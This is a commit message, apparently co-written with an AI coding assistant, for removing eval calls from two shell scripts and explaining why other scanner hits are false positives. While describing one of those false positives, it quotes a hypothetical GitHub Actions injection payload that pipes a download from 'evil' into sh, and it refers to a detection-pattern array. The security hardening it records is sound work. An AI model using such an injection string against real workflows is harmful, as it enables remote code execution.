fix(scripts): remove eval from rsr-audit and fill-placeholders test (#939) - #1075

Hypatia content_patterns/eval_in_shell true positives:

- rhodium-standard-repositories/rsr-audit.sh: check() took a command
  string and ran it with `eval "$command"`. Replaced with a `"$@"`-based
  check() that takes a command and its args directly (shift past the
  description, exec "$@"), plus a small `not()` helper (mirrors
  `not_contains` in scripts/propagate-workflow-pins.sh's test suite) for
  the one negated predicate. Call sites converted from quoted command
  strings to literal argv: check_dir_exists/check_command_exists pass
  test/command-v directly; the CI/CD glob-or-file compound check became
  a tiny named predicate has_ci_config(); the "true" literal checks
  became the bare `true` command; the two grep -rq checks and the
  Reversibility test -d check lost one level of backslash escaping
  (`\\|` -> `\|`) since removing eval removes one string-reparse pass.
  Verified zero semantic drift: `rsr-audit.sh . --format json|text` and
  `rsr-audit.sh rhodium-standard-repositories --format json|text` before
  and after are byte-identical in text output and identical in
  total_checks/passed_checks/failed_checks/score/compliance_level/exit
  code (no existing regression test covers this script, so this was
  the verification method).

- scripts/tests/fill-placeholders-test.sh: ck() ran `eval "$2"` on a
  single-quoted command string. Replaced with a `"$@"`-based ck() that
  shifts past the description and execs the rest directly; all ~14 call
  sites dropped their outer single-quotes so the command is a normal
  argv list. `bash scripts/tests/fill-placeholders-test.sh` before and
  after both print "14 passed, 0 failed" with exit 0 (log-diffed,
  identical).

False positives (not edited; scanner matches its own detection
patterns/comments, no real eval or unverified download present):

- setup.sh: both download_then_run_shell hits are on (a) the top-of-file
  usage-documentation block recommending `curl -o ... && less ... && sh
  setup.sh` (human-reviewed, never piped, never eval'd by the script
  itself) and (b) install_just_verified()'s real curl call, which
  already downloads to a mktemp file and sha256sum -c verifies before
  any extraction/install (landed in 3079bc1, 2026-08-07, predating this
  issue's 2026-09-22 triage).
- scripts/tests/propagate-workflow-pins-test.sh: both eval_in_shell hits
  are on comments describing the *absence* of eval ("runs CMD as a real
  command (no eval)"; "Small eval-free predicates"). The file contains
  no eval call at all.
- .github/workflows/security-gate-pr-target.yml: hits are on (a) a
  comment illustrating a hypothetical injection payload and (b) the
  file's own MALICIOUS_PATTERNS bash array, which contains the literal
  detection regexes as data. Already marked FALSE POSITIVE in
  .hypatia-baseline.json.
- .github/workflows/tag-ruleset-canon.yml: hit is on a comment
  describing a hypothetical GitHub Actions expression-injection
  scenario ("a dispatch with limit = `0"; curl evil | sh; #`").
- tests/test_tag_ruleset_canon.sh: hit is on a comment block describing
  the same hypothetical injection scenario as the workflow above.

Skipped (vendored, tracked separately in standards#940):

- rhodium-standard-repositories/satellites/palimpsest-license/TOOLS/validation/install.sh
- rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-dns-discovery.sh
- rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-http-headers.sh

shellcheck (0.11.0) on both changed files: fill-placeholders-test.sh is
clean. rsr-audit.sh has only pre-existing warnings in code this change
didn't touch (SC2034 SCRIPT_DIR/has_lockfile, SC2126 grep|wc -l) plus
SC2329 "never invoked" info on not()/has_ci_config()/
check_command_exists() — a known shellcheck limitation: it does not
trace a function name passed as a bare argument into another function's
"$@" exec, which is exactly the eval-free pattern this fix introduces.
Both not() and has_ci_config() are confirmed invoked at runtime by the
before/after diff above; check_command_exists() was already unreferenced
dead code prior to this change and is out of scope here.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65